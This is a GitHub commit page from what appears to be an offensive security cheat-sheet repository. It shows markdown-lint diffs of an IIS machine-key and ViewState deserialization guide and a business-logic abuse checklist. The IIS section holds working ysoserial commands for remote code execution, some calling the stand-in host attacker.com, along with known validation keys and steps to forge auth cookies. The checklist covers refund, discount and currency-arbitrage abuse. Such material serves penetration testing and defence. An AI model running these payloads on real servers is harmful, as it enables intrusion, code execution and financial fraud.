Skip to content

Commit 9465e12

Browse files
committed
Markdown Linting - API, Business Logic, Clickjacking
1 parent 48d8dc5 commit 9465e12

3 files changed

Lines changed: 36 additions & 55 deletions

File tree

API Key Leaks/IIS-Machine-Keys.md

Lines changed: 18 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@
1515
* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
1616
* [References](#references)
1717

18-
1918
## Viewstate Format
2019

2120
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
@@ -29,26 +28,25 @@ ViewState in IIS is a technique used to retain the state of web controls between
2928
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
3029
Usually unencrypted viewstate are starting with the string `/wEP`.
3130

32-
3331
## Machine Key Format And Locations
3432

35-
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
33+
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
3634

3735
The format of a machineKey is the following.
3836

3937
```xml
4038
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
4139
```
4240

43-
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
41+
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
4442

45-
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
43+
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
4644

47-
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
45+
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
4846

4947
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
5048

51-
The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
49+
The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
5250

5351
```xml
5452
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
@@ -62,11 +60,10 @@ Common locations of **web.config** / **machine.config**
6260
* 64-bits
6361
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
6462
* `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
65-
* in the registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
63+
* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))
6664
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
6765
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
6866

69-
7067
## Identify Known Machine Key
7168

7269
Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
@@ -115,43 +112,42 @@ List of interesting machine keys to use:
115112
* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
116113
* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
117114
118-
119115
## Decode ViewState
120116
121117
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
122118
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
119+
123120
```powershell
124-
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
121+
viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
125122
```
126123
127-
128124
## Generate ViewState For RCE
129125
130-
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
126+
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
131127
132-
**Requirements**
128+
**Requirements**:
133129
134130
* `__VIEWSTATE`
135131
* `__VIEWSTATEGENERATOR`
136132
137-
138133
### MAC Is Not Enabled
139134
140135
```ps1
141136
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
142137
```
143138

144-
145139
### MAC Is Enabled And Encryption Is Disabled
146140

147-
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
141+
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
142+
148143
```ps1
149144
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
150145
# --modifier = `__VIEWSTATEGENERATOR` parameter value
151146
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
152147
```
153148
154149
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
150+
155151
```ps1
156152
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
157153
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
@@ -160,29 +156,29 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
160156
# --validationkey = validation key from the previous command
161157
```
162158
163-
164159
### MAC Is Enabled And Encryption Is Enabled
165160
166161
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
167162
168-
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
163+
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
169164
170165
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
166+
171167
```ps1
172168
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
173169
```
174170
175171
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
172+
176173
```ps1
177174
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
178175
```
179176
180-
181177
## Edit Cookies With The Machine Key
182178
183179
If you have the `machineKey` but the viewstate is disabled.
184180
185-
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
181+
ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)
186182
187183
```powershell
188184
# decrypt cookie
@@ -192,11 +188,10 @@ $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX
192188
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
193189
```
194190

195-
196191
## References
197192

198193
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
199194
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
200195
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
201196
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
202-
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
197+
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)

Business Logic Errors/README.md

Lines changed: 4 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22

33
> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
44
5-
65
## Summary
76

87
* [Methodology](#methodology)
@@ -16,7 +15,6 @@
1615
* [Thread Comment Testing](#thread-comment-testing)
1716
* [References](#references)
1817

19-
2018
## Methodology
2119

2220
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
@@ -32,7 +30,6 @@ Common examples of Business Logic Errors.
3230
* Investigate the possibility of posting reviews impersonating other users.
3331
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
3432

35-
3633
### Discount Code Feature Testing
3734

3835
* Try to apply the same discount code multiple times to assess if it's reusable.
@@ -41,17 +38,14 @@ Common examples of Business Logic Errors.
4138
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
4239
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
4340

44-
4541
### Delivery Fee Manipulation
4642

4743
* Experiment with negative values for delivery charges to see if it reduces the final amount.
4844
* Evaluate if free delivery can be activated by modifying parameters.
4945

50-
5146
### Currency Arbitrage
5247

5348
* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
54-
5549

5650
### Premium Feature Exploitation
5751

@@ -60,32 +54,28 @@ Common examples of Business Logic Errors.
6054
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
6155
* Review cookies or local storage for variables validating premium access.
6256

63-
6457
### Refund Feature Exploitation
6558

6659
* Purchase a product, ask for a refund, and see if the product remains accessible.
6760
* Look for opportunities for currency arbitrage.
6861
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
6962

70-
7163
### Cart/Wishlist Exploitation
7264

7365
* Test the system by adding products in negative quantities, along with other products, to balance the total.
7466
* Try to add more of a product than is available.
7567
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
7668

77-
7869
### Thread Comment Testing
7970

8071
* Check if there's a limit to the number of comments on a thread.
8172
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
8273
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
8374
* Attempt to post comments impersonating other users.
8475

85-
8676
## References
8777

88-
- [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
89-
- [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
90-
- [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
91-
- [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)
78+
* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
79+
* [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
80+
* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
81+
* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)

0 commit comments

Comments
 (0)